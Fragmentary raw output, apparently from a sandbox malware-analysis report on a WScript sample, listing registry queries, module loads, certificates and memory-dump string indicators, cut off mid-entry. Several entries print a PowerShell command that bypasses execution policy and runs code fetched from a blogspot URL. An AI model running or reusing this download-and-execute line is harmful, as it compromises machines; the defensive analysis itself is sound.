"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:c0000135]37:T1beb,"System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds\" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00001204.00000000.129138.00000000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001204.00000000.129138.6BC60000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001204.00000000.129138.6BC60000.00000004.mdmp "-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00001204.00000000.129138.6BC60000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00001204.00000000.129138.6BC60000.00000004.mdmp "s\;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmpro\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{752073A1-23F2-4396" in Source: 00000000-00001204.00000000.129138.6BC60000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001204.00000000.129138.6BC60000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001204.00000000.129138.6BC60000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00001204.00000000.129138.6E0D0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001204.00000001.130974.6BC60000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001204.00000001.130974.6BC60000.00000004.mdmp "-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00001204.00000001.130974.6BC60000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00001204.00000001.130974.6BC60000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00001204.00000001.130974.6E894000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00001204.00000001.130974.6E894000.00000004.mdmp "chine\Software\Classes\WOW6" in Source: 00000000-00001204.00000001.130974.6E894000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00001204.00000001.130974.6F080000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00001204.00000001.130974.91F6A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00001204.00000001.130974.91F6A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00001204.00000001.130974.91F6A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00001204.00000001.130974.91F6A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00001204.00000001.130974.91F6A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00001204.00000001.130974.91F6A000.00000002.mdmp38:T40a,The input sample is signed with a certificate issued by "CN=R13, O=Let's Encrypt, C=US" (SHA1: 76:84:B2:2A:79:78:65:9B:4D:5F:E8:E7:98:94:B6:27:01:15:4B:03; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 22:FF:89:58:65:61:FC:2D:52:F7:74:91:E9:F1:EF:F1:B8:0B:E3:3E; see report for more information) The input sample is signed with a certificate issued by "CN=WR2, O=Google Trust Services, C=US" (SHA1: 13:56:1A:64:D1:78:BC:8F:99:7D:E8:29:61:D4:0F:BA:95:EE:78:43; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R1, O=Google Trust Services LLC, C=US" (SHA1: 66:E4:16:12:60:B1:00:FE:E0:DE:28:7A:9A:52:93:B4:C2:22:4A:E6; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 08:74:54:87:E8:91:C1:9E:30:78:C1:F2:A0:7E:45:29:50:EF:36:F6; see report for more information)39:Ta2e,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DISABLEADAPTERDOMAINNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DOMAINNAMEDEVOLUTIONLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "APPENDTOMULTILABELNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENBADTLDS"; Value: "")3a:T8c2,Found string "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 17" (Indicator: "Start-Sleep"; File: "AMSI") file/memory contains long string with (Indicator: "Start-Sleep"; File: "AMSI") Found string "-ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 17" (Indicator: "Start-Sleep"; File: "powershell.exe") Found string "Start-Sleep" (Indicator: "Start-Sleep"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp, 00000000-00001204.00000000.129138.6BC60000.00000004.mdmp, 00000000-00001204.00000000.129138.6BF60000.00000004.mdmp, 00000000-00001204.00000000.129138.6D740000.00000004.mdmp, 00000000-00001204.00000000.129138.6E0D0000.00000004.mdmp, 00000000-00001204.00000001.130974.6BC60000.00000004.mdmp, 00000000-00001204.00000001.130974.6BF60000.00000004.mdmp, 00000000-00001204.00000001.130974.6D740000.00000004.mdmp, 00000000-00001204.00000001.130974.6E0D0000.00000004.mdmp") Found string "Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 17" (Indicator: "Start-Sleep"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 17" (Indicator: "Start-Sleep"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 17" (Indicator: "Start-Sleep"; Source: "00000000-00001204.00000000.129138.6BC60000.00000004.mdmp, 00000000-00001204.00000001.130974.6BC60000.00000004.mdmp, 00000000-00001204.00000001.130974.6E894000.00000004.mdmp") file/memory contains long string with (Indicator: "Start-Sleep"; Source: "00000000-00001204.00000001.130974.6E894000.00000004.mdmp")3b:T7d3,Found string "Set-Alias -Name scim -Value Set-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-CimInstance"; File: "AMSI") Found string "Set-Alias -Name ncim -Value New-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "New-CimInstance"; File: "AMSI") Found string "Set-Alias -Name rcim -Value Remove-cimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Remove-CimInstance"; File: "AMSI") Found string "Set-Alias -Name icim -Value Invoke-CimMethod -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Invoke-CimMethod"; File: "AMSI") Found string "Set-Alias -Name gcai -Value Get-CimAssociatedInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Get-CimAssociatedInstance"; File: "AMSI") Found string "Set-Alias -Name rcie -Value Register-CimIndicationEvent -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Register-CimIndicationEvent"; File: "AMSI") Found string "Set-Alias -Name ncms -Value New-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "New-CimSession"; File: "AMSI") Found string "Set-Alias -Name rcms -Value Remove-cimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Remove-CimSession"; File: "AMSI") Found string "Set-Alias -Name gcms -Value Get-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Get-CimSession"; File: "AMSI") Found string "Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "New-CimSession"; File: "AMSI") Found string "Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "New-CimSessionOption"; File: "AMSI") Found string "Set-Alias -Name gcls -Value Get-CimClass -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Get-CimClass"; File: "AMSI")3c:T69d,file/memory contains long string with (Indicator: "ForEach-Object"; File: "AMSI") file/memory contains long string with (Indicator: "Where-Object"; File: "AMSI") Found string "Select-Object" (Indicator: "Select-Object"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Measure-Object" (Indicator: "Measure-Object"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Microsoft.PowerShell.Core\Where-Object {$_.Name -match '^Verbs.'} |" (Indicator: "Where-Object"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Select-Object @{" (Indicator: "Select-Object"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "$allVerbs | Microsoft.PowerShell.Core\Where-Object { $_.Verb -like $v }" (Indicator: "Where-Object"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "ForEach-Object" (Indicator: "ForEach-Object"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Where-Object" (Indicator: "Where-Object"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Compare-Object" (Indicator: "Compare-Object"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Group-Object" (Indicator: "Group-Object"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Sort-Object" (Indicator: "Sort-Object"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Tee-Object" (Indicator: "Tee-Object"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp")3d:Tc3e,"WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SLC.DLL" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\SLC.dll" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SPPC.DLL" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\sppc.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\bcrypt.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTBASE.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\winnlsres.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\en-US\SYSTEM.MANAGEMENT.AUTOMATION.RESOURCES.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\en-US\System.Management.Automation.resources.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\en-US\SYSTEM.MANAGEMENT.AUTOMATION.RESOURCES.EXE" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\en-US\System.Management.Automation.resources.exe" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\en-US\MSCORRC.DLL"3e:T576,Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00001204.00000000.129138.6BC60000.00000004.mdmp, 00000000-00001204.00000001.130974.6BC60000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00001204.00000000.129138.6BC60000.00000004.mdmp, 00000000-00001204.00000001.130974.6BC60000.00000004.mdmp") Found string ""C:\Program Files\Wireshark\dumpcap.exe" -n -i \Device\NPF_{D03DB0C1-2729-4674-A875-8625DD784300} -p -Z 6772 -w Z:\network_original.pcapng" (Indicator: "\Device\"; Source: "00000000-00001204.00000001.130974.6E19C000.00000004.mdmp, 00000000-00001204.00000001.130974.6E894000.00000004.mdmp") Found string "Microsoft Windows 10 Pro|C:\WINDOWS|\Device\Harddisk0\Partition2" (Indicator: "\Device\"; Source: "00000000-00001204.00000001.130974.6E19C000.00000004.mdmp, 00000000-00001204.00000001.130974.6E810000.00000004.mdmp, 00000000-00001204.00000001.130974.6E894000.00000004.mdmp, 00000000-00001204.00000001.130974.6F080000.00000004.mdmp") Found string "|\Device\Harddisk0\Partition2" (Indicator: "\Device\"; Source: "00000000-00001204.00000001.130974.6E810000.00000004.mdmp") Found string "ndows 10 Pro|C:\WINDOWS|\Device\Harddisk0\Partition2" (Indicator: "\Device\"; Source: "00000000-00001204.00000001.130974.6E894000.00000004.mdmp")3f:T763,file/memory contains long string with (Indicator: "New-Timespan"; File: "AMSI") Found string "Add-Content" (Indicator: "Add-Content"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Import-Alias" (Indicator: "Import-Alias"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Import-Csv" (Indicator: "Import-Csv"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "New-Alias" (Indicator: "New-Alias"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "New-PSDrive" (Indicator: "New-PSDrive"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "New-Variable" (Indicator: "New-Variable"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "New-Module" (Indicator: "New-Module"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Add-PSSnapIn" (Indicator: "Add-PSSnapIn"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Add-History" (Indicator: "Add-History"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "New-ModuleManifest" (Indicator: "New-ModuleManifest"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "New-PSRoleCapabilityFile" (Indicator: "New-PSRoleCapabilityFile"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "New-PSTransportOption" (Indicator: "New-PSTransportOption"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Register-ArgumentCompleter" (Indicator: "Register-ArgumentCompleter"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Add-PSSnapin" (Indicator: "Add-PSSnapIn"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp")40:T11e4,file/memory contains long string with (Indicator: "aes"; File: "863cb47c6bf5e3f9c3ed42de89472952e79ec61327c8dc3037cf6b92a28fc7b5.bin") file/memory contains long string with (Indicator: "base64"; File: "AMSI") file/memory contains long string with (Indicator: "ToBase64String"; File: "AMSI") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "base64"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "ToBase64String"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "[-WindowStyle